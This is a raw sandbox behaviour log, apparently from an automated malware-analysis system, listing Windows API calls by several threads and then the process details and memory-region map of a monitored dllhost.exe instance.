[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741a000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x73ffe40, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x758d000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7407000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740f000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x73ffe40, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7415000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x73ffe40, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7418000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x73ffe40, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7411000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7417000, dwRegionSize=0x1000, lpAddresses=0x73ffe24, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28 | out: lpAddresses=0x73ffe24*=0x73ffe40, lpdwCount=0x73ffe2c, lpdwGranularity=0x73ffe28) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740c000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7586000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7406000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.434] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7400000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.435] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7585000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.435] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7419000, dwRegionSize=0x1000, lpAddresses=0x73ffe40, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44 | out: lpAddresses=0x73ffe40*=0x630e100, lpdwCount=0x73ffe48, lpdwGranularity=0x73ffe44) returned 0x0
[0212.435] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x968b000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x1000, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0212.435] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9686000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x1000, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0212.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a40 | out: lpSystemTimeAsFileTime=0x6315a40*(dwLowDateTime=0x7c558a68, dwHighDateTime=0x1d7e6dd))
[0212.435] SetEvent (hEvent=0x38c) returned 1
[0212.435] GetTickCount () returned 0x1ca6eba
[0212.435] GetTickCount () returned 0x1ca6eba
[0212.436] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0x280, bAlertable=0)
Thread:
id = 44
os_tid = 0xa34
[0198.856] GetCurrentThreadId () returned 0xa34
[0198.857] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\SYSTEM32\\jscript9.dll", phModule=0x755ff20 | out: phModule=0x755ff20*=0x6cf50000) returned 1
[0198.858] SetEvent (hEvent=0x39c) returned 1
[0198.886] ResetEvent (hEvent=0x398) returned 1
[0198.886] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x3e8) returned 0x0
[0199.108] malloc (_Size=0x144) returned 0x6320c18
[0199.109] malloc (_Size=0x30) returned 0x631fa50
[0199.109] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x75e0000
[0199.129] malloc (_Size=0x30) returned 0x631f890
[0199.129] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x7600000
[0199.131] malloc (_Size=0x60) returned 0x6320d68
[0199.131] malloc (_Size=0x60) returned 0x6320dd0
[0199.131] malloc (_Size=0x60) returned 0x6320e38
[0199.131] malloc (_Size=0x60) returned 0x6320ea0
[0199.131] malloc (_Size=0x60) returned 0x6320f08
[0199.132] malloc (_Size=0x60) returned 0x6320f70
[0199.132] malloc (_Size=0x60) returned 0x6320fd8
[0199.132] malloc (_Size=0x60) returned 0x6321040
[0199.132] malloc (_Size=0x60) returned 0x63210a8
[0199.135] malloc (_Size=0x60) returned 0x6321110
[0199.135] malloc (_Size=0x60) returned 0x6321178
[0199.135] malloc (_Size=0x60) returned 0x63211e0
[0199.135] malloc (_Size=0x60) returned 0x6321248
[0199.135] malloc (_Size=0x60) returned 0x63212b0
[0199.135] malloc (_Size=0x60) returned 0x6321318
[0199.135] malloc (_Size=0x60) returned 0x631e340
[0199.135] malloc (_Size=0x60) returned 0x631e508
[0199.135] malloc (_Size=0x60) returned 0x631e848
[0199.136] malloc (_Size=0x60) returned 0x631e570
[0199.136] malloc (_Size=0x60) returned 0x631e7e0
[0199.136] malloc (_Size=0x60) returned 0x631e778
[0199.136] malloc (_Size=0x60) returned 0x631e8b0
[0199.144] malloc (_Size=0x8) returned 0x6321380
[0199.144] malloc (_Size=0xc) returned 0x6321ca0
[0199.144] malloc (_Size=0xc) returned 0x6321cb8
[0199.144] malloc (_Size=0xc) returned 0x6321cd0
[0199.144] malloc (_Size=0x4) returned 0x631ca20
[0199.144] malloc (_Size=0x34) returned 0x631ebb0
[0199.144] malloc (_Size=0xc) returned 0x6321ce8
[0199.144] malloc (_Size=0xc) returned 0x6321d00
[0199.144] malloc (_Size=0x4) returned 0x6318bb8
[0199.144] malloc (_Size=0x30) returned 0x631f9a8
[0199.144] malloc (_Size=0xc) returned 0x631efc8
[0199.144] malloc (_Size=0xc) returned 0x631efe0
[0199.144] malloc (_Size=0x8) returned 0x631eff8
[0199.144] malloc (_Size=0xc) returned 0x631ef38
[0199.144] malloc (_Size=0xc) returned 0x631ef20
[0199.145] malloc (_Size=0xc) returned 0x631ef98
[0199.145] malloc (_Size=0x4) returned 0x631f008
[0199.145] malloc (_Size=0x34) returned 0x631f018
[0199.145] malloc (_Size=0xc) returned 0x631ef50
[0199.145] malloc (_Size=0xc) returned 0x631ef68
[0199.145] malloc (_Size=0x4) returned 0x631f058
[0199.145] malloc (_Size=0x30) returned 0x631fbd8
[0199.145] malloc (_Size=0xc) returned 0x631efb0
[0199.145] malloc (_Size=0xc) returned 0x631ef80
[0199.145] malloc (_Size=0x8) returned 0x631f068
[0199.145] malloc (_Size=0xc) returned 0x631ee90
[0199.145] malloc (_Size=0xc) returned 0x631eda0
[0199.146] malloc (_Size=0xc) returned 0x631ee00
[0199.146] malloc (_Size=0x4) returned 0x631f078
[0199.146] malloc (_Size=0x34) returned 0x631f088
[0199.146] malloc (_Size=0xc) returned 0x631ee30
[0199.146] malloc (_Size=0xc) returned 0x631ece0
[0199.146] malloc (_Size=0x4) returned 0x631f0c8
[0199.146] malloc (_Size=0x30) returned 0x631fba0
[0199.146] malloc (_Size=0xc) returned 0x631ed70
[0199.146] malloc (_Size=0xc) returned 0x631ecf8
[0199.147] malloc (_Size=0x8) returned 0x631f0d8
[0199.147] malloc (_Size=0xc) returned 0x631ec50
[0199.147] malloc (_Size=0xc) returned 0x631ed10
[0199.147] malloc (_Size=0xc) returned 0x631ee48
[0199.147] malloc (_Size=0x4) returned 0x631f0e8
[0199.147] malloc (_Size=0x34) returned 0x631f0f8
[0199.148] malloc (_Size=0xc) returned 0x631ee60
[0199.148] malloc (_Size=0xc) returned 0x631eef0
[0199.148] malloc (_Size=0x4) returned 0x631f138
[0199.148] malloc (_Size=0x30) returned 0x631fb30
[0199.148] malloc (_Size=0xc) returned 0x631ec80
[0199.148] malloc (_Size=0xc) returned 0x631ed40
[0199.148] malloc (_Size=0x4) returned 0x631f148
[0199.148] malloc (_Size=0x30) returned 0x631fc10
[0199.148] malloc (_Size=0xc) returned 0x631ec98
[0199.148] malloc (_Size=0xc) returned 0x631eea8
[0199.154] malloc (_Size=0x4) returned 0x631f158
[0199.154] malloc (_Size=0x30) returned 0x631faf8
[0199.155] malloc (_Size=0xc) returned 0x631edb8
[0199.155] malloc (_Size=0xc) returned 0x631ec20
[0199.155] malloc (_Size=0x4) returned 0x631f168
[0199.155] malloc (_Size=0x30) returned 0x631fb68
[0199.155] malloc (_Size=0xc) returned 0x631ee18
[0199.155] malloc (_Size=0xc) returned 0x631eec0
[0199.155] malloc (_Size=0x4) returned 0x631f178
[0199.155] malloc (_Size=0x30) returned 0x631f8c8
[0199.155] malloc (_Size=0xc) returned 0x631edd0
[0199.155] malloc (_Size=0xc) returned 0x631eed8
[0199.155] malloc (_Size=0x4) returned 0x631f2e0
[0199.155] malloc (_Size=0x30) returned 0x631f900
[0199.155] malloc (_Size=0xc) returned 0x631ed88
[0199.156] malloc (_Size=0xc) returned 0x631ecb0
[0199.156] malloc (_Size=0x8) returned 0x631f2a0
[0199.156] malloc (_Size=0xc) returned 0x631ed28
[0199.156] malloc (_Size=0xc) returned 0x631ec68
[0199.156] malloc (_Size=0xc) returned 0x631ee78
[0199.156] malloc (_Size=0x4) returned 0x631f210
[0199.156] malloc (_Size=0x34) returned 0x631f390
[0199.156] malloc (_Size=0xc) returned 0x631ef08
[0199.156] malloc (_Size=0xc) returned 0x631ede8
[0199.156] malloc (_Size=0x4) returned 0x631f220
[0199.156] malloc (_Size=0x34) returned 0x631f3d0
[0199.156] malloc (_Size=0xc) returned 0x631ec38
[0199.156] malloc (_Size=0xc) returned 0x631ecc8
[0199.156] malloc (_Size=0x4) returned 0x631f2d0
[0199.156] malloc (_Size=0x30) returned 0x631f938
[0199.156] malloc (_Size=0xc) returned 0x631ed58
[0199.156] malloc (_Size=0xc) returned 0x6324738
[0199.157] malloc (_Size=0x4) returned 0x631f230
[0199.157] malloc (_Size=0x30) returned 0x631f970
[0199.157] malloc (_Size=0xc) returned 0x63247c8
[0199.157] malloc (_Size=0xc) returned 0x63248a0
[0199.157] malloc (_Size=0x8) returned 0x631f2b0
[0199.157] malloc (_Size=0xc) returned 0x6324750
[0199.157] malloc (_Size=0xc) returned 0x63246d8
[0199.157] malloc (_Size=0xc) returned 0x6324960
[0199.157] malloc (_Size=0x4) returned 0x631f1b0
[0199.157] malloc (_Size=0x34) returned 0x631f410
[0199.157] malloc (_Size=0xc) returned 0x63248b8
[0199.158] malloc (_Size=0xc) returned 0x6324720
[0199.158] malloc (_Size=0x4) returned 0x631f1e0
[0199.158] malloc (_Size=0x34) returned 0x631f450
[0199.158] malloc (_Size=0xc) returned 0x6324918
[0199.158] malloc (_Size=0xc) returned 0x6324858
[0199.158] malloc (_Size=0x4) returned 0x631f370
[0199.158] malloc (_Size=0x34) returned 0x631f490
[0199.158] malloc (_Size=0xc) returned 0x63247e0
[0199.158] malloc (_Size=0xc) returned 0x6324840
[0199.158] malloc (_Size=0x4) returned 0x631f1f0
[0199.158] malloc (_Size=0x30) returned 0x631f9e0
[0199.158] malloc (_Size=0xc) returned 0x63247b0
[0199.158] malloc (_Size=0xc) returned 0x63246f0
[0199.159] malloc (_Size=0x8) returned 0x631f300
[0199.159] malloc (_Size=0xc) returned 0x63247f8
[0199.159] malloc (_Size=0xc) returned 0x6324810
[0199.159] malloc (_Size=0xc) returned 0x6324768
[0199.159] malloc (_Size=0x4) returned 0x631f330
[0199.159] malloc (_Size=0x34) returned 0x631f4d0
[0199.159] malloc (_Size=0xc) returned 0x6324708
[0199.159] malloc (_Size=0xc) returned 0x6324780
[0199.159] QueryPerformanceCounter (in: lpPerformanceCount=0x755f764 | out: lpPerformanceCount=0x755f764*=3013390193493) returned 1
[0199.160] srand (_Seed=0x9c0d51e8)
[0199.160] rand () returned 11128
[0199.160] RtlEncodeSystemPointer (Pointer=0x9c0d7a90) returned 0x8b7e2093
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 19525
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 11490
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 29036
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 8796
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 16082
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 6863
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 29998
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 21436
[0199.160] GetTickCount () returned 0x1ca3ae8
[0199.160] rand () returned 1277
[0199.284] malloc (_Size=0xc) returned 0x6324798
[0199.284] malloc (_Size=0xc) returned 0x63248d0
[0199.284] malloc (_Size=0x10) returned 0x6324870
[0199.284] malloc (_Size=0x28) returned 0x631fe08
[0199.284] free (_Block=0x6324870)
[0199.284] malloc (_Size=0x58) returned 0x631f510
[0199.285] free (_Block=0x631fe08)
[0199.285] malloc (_Size=0x30) returned 0x631fa88
[0199.285] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x7620000
[0199.285] VirtualQuery (in: lpAddress=0x7620000, lpBuffer=0x755f664, dwLength=0x1c | out: lpBuffer=0x755f664*(BaseAddress=0x7620000, AllocationBase=0x7620000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0199.286] VirtualProtect (in: lpAddress=0x7620000, dwSize=0x1000, flNewProtect=0x10, lpflOldProtect=0x755f680 | out: lpflOldProtect=0x755f680*=0x4) returned 1
[0199.392] VirtualQuery (in: lpAddress=0x7620000, lpBuffer=0x755f644, dwLength=0x1c | out: lpBuffer=0x755f644*(BaseAddress=0x7620000, AllocationBase=0x7620000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x10, Type=0x20000)) returned 0x1c
[0199.392] VirtualProtect (in: lpAddress=0x7620000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x755f660 | out: lpflOldProtect=0x755f660*=0x10) returned 1
[0199.394] memcpy_s (in: _Destination=0x7620000, _DestinationSize=0x1000, _Source=0x7609018, _SourceSize=0xf60 | out: _Destination=0x7620000) returned 0x0
[0199.394] VirtualQuery (in: lpAddress=0x7620000, lpBuffer=0x755f644, dwLength=0x1c | out: lpBuffer=0x755f644*(BaseAddress=0x7620000, AllocationBase=0x7620000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000)) returned 0x1c
[0199.394] VirtualProtect (in: lpAddress=0x7620000, dwSize=0x1000, flNewProtect=0x10, lpflOldProtect=0x755f660 | out: lpflOldProtect=0x755f660*=0x40) returned 1
[0199.399] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7620000, dwSize=0xf60) returned 1
[0199.399] malloc (_Size=0x8) returned 0x631f260
[0199.399] malloc (_Size=0x4) returned 0x631f200
[0199.399] swprintf_s (in: _Dst=0x755fc6c, _SizeInWords=0x1b, _Format="%s%s%d" | out: _Dst="dowLoadDoorLoop1") returned 16
[0199.399] free (_Block=0x6320558)
[0199.399] free (_Block=0x6320580)
[0199.399] free (_Block=0x6320530)
[0199.399] free (_Block=0x6320198)
[0199.405] ResetEvent (hEvent=0x398) returned 1
[0199.405] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x3e8) returned 0x102
[0200.478] VirtualFree (lpAddress=0x75e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0200.479] free (_Block=0x631fa50)
[0200.479] VirtualFree (lpAddress=0x7600000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.480] VirtualFree (lpAddress=0x7601000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.480] VirtualFree (lpAddress=0x7602000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.480] VirtualFree (lpAddress=0x7603000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.481] VirtualFree (lpAddress=0x7604000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.481] VirtualFree (lpAddress=0x7605000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.481] VirtualFree (lpAddress=0x7606000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.482] VirtualFree (lpAddress=0x7607000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.482] VirtualFree (lpAddress=0x7608000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.482] VirtualFree (lpAddress=0x7609000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.483] VirtualFree (lpAddress=0x760a000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.483] VirtualFree (lpAddress=0x760b000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.483] VirtualFree (lpAddress=0x760c000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.484] VirtualFree (lpAddress=0x760d000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.484] VirtualFree (lpAddress=0x760e000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.484] VirtualFree (lpAddress=0x7610000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.485] VirtualFree (lpAddress=0x7611000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.485] VirtualFree (lpAddress=0x7612000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.485] VirtualFree (lpAddress=0x7613000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.486] VirtualFree (lpAddress=0x7614000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.486] VirtualFree (lpAddress=0x7615000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.486] VirtualFree (lpAddress=0x7616000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.486] VirtualFree (lpAddress=0x7617000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.487] VirtualFree (lpAddress=0x7618000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.487] VirtualFree (lpAddress=0x7619000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.487] VirtualFree (lpAddress=0x761a000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.492] VirtualFree (lpAddress=0x761b000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.493] VirtualFree (lpAddress=0x761c000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.493] VirtualFree (lpAddress=0x761d000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.493] VirtualFree (lpAddress=0x761e000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.494] VirtualFree (lpAddress=0x761f000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0200.494] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff) returned 0x0
[0213.292] ResetEvent (hEvent=0x398) returned 1
[0213.292] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x3e8) returned 0x0
[0213.293] VirtualFree (lpAddress=0x7620000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0213.293] free (_Block=0x631fa88)
[0213.293] free (_Block=0x6320c18)
[0213.293] free (_Block=0x6367ef0)
[0213.293] ResetEvent (hEvent=0x398) returned 1
[0213.294] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x3e8) returned 0x102
[0214.492] VirtualFree (lpAddress=0x760f000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0214.492] VirtualFree (lpAddress=0x7600000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0214.493] free (_Block=0x631f890)
[0214.493] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff)
Thread:
id = 45
os_tid = 0xe28
[0200.015] GetCurrentThreadId () returned 0xe28
[0214.464] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0214.465] GetCurrentThreadId () returned 0xe28
Thread:
id = 52
os_tid = 0xb38
[0200.996] GetCurrentThreadId () returned 0xb38
Thread:
id = 53
os_tid = 0x7c8
[0208.901] GetCurrentThreadId () returned 0x7c8
Thread:
id = 54
os_tid = 0x4d8
[0210.881] GetCurrentThreadId () returned 0x4d8
[0212.152] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0212.153] GetCurrentThreadId () returned 0x4d8
Process:
id = "5"
image_name = "dllhost.exe"
filename = "c:\\windows\\system32\\dllhost.exe"
page_root = "0xb042000"
os_pid = "0x884"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "rpc_server"
parent_id = "4"
os_parent_pid = "0x278"
cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}"
cur_dir = "C:\\Windows\\system32\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1119
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1120
start_va = 0x20000
end_va = 0x26fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1121
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1122
start_va = 0x50000
end_va = 0x14ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000050000"
filename = ""
Region:
id = 1123
start_va = 0x150000
end_va = 0x153fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000150000"
filename = ""
Region:
id = 1124
start_va = 0x160000
end_va = 0x161fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000160000"
filename = ""
Region:
id = 1125
start_va = 0x170000
end_va = 0x170fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000170000"
filename = ""
Region:
id = 1126
start_va = 0x180000
end_va = 0x186fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000180000"
filename = ""
Region:
id = 1127
start_va = 0x190000
end_va = 0x190fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000190000"
filename = ""
Region:
id = 1128
start_va = 0x1a0000
end_va = 0x1a0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001a0000"
filename = ""
Region:
id = 1129
start_va = 0x1b0000
end_va = 0x1b0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 1130
start_va = 0x1c0000
end_va = 0x1c0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001c0000"
filename = ""
Region:
id = 1131
start_va = 0x1d0000
end_va = 0x1d0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001d0000"
filename = ""
Region:
id = 1132
start_va = 0x1e0000
end_va = 0x1e0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001e0000"
filename = ""
Region:
id = 1133
start_va = 0x1f0000
end_va = 0x1f7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 1134
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 1135
start_va = 0x400000
end_va = 0x4bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1136
start_va = 0x4c0000
end_va = 0x4cffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004c0000"
filename = ""
Region:
id = 1137
start_va = 0x4d0000
end_va = 0x4dffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004d0000"
filename = ""
Region:
id = 1138
start_va = 0x4e0000
end_va = 0x4effff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1139
start_va = 0x4f0000
end_va = 0x4fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004f0000"
filename = ""
Region:
id = 1140
start_va = 0x500000
end_va = 0x50ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000500000"
filename = ""
Region:
id = 1141
start_va = 0x510000
end_va = 0x51ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000510000"
filename = ""
Region:
id = 1142
start_va = 0x520000
end_va = 0x520fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000520000"
filename = ""
Region:
id = 1143
start_va = 0x530000
end_va = 0x530fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 1144
start_va = 0x540000
end_va = 0x543fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000540000"
filename = ""
Region:
id = 1145
start_va = 0x550000
end_va = 0x551fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000550000"
filename = ""
Region:
id = 1146
start_va = 0x560000
end_va = 0x560fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000560000"
filename = ""
Region:
id = 1147
start_va = 0x570000
end_va = 0x66ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000570000"
filename = ""
Region:
id = 1148
start_va = 0x670000
end_va = 0x67ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1149
start_va = 0x680000
end_va = 0x68ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1150
start_va = 0x690000
end_va = 0x69ffff
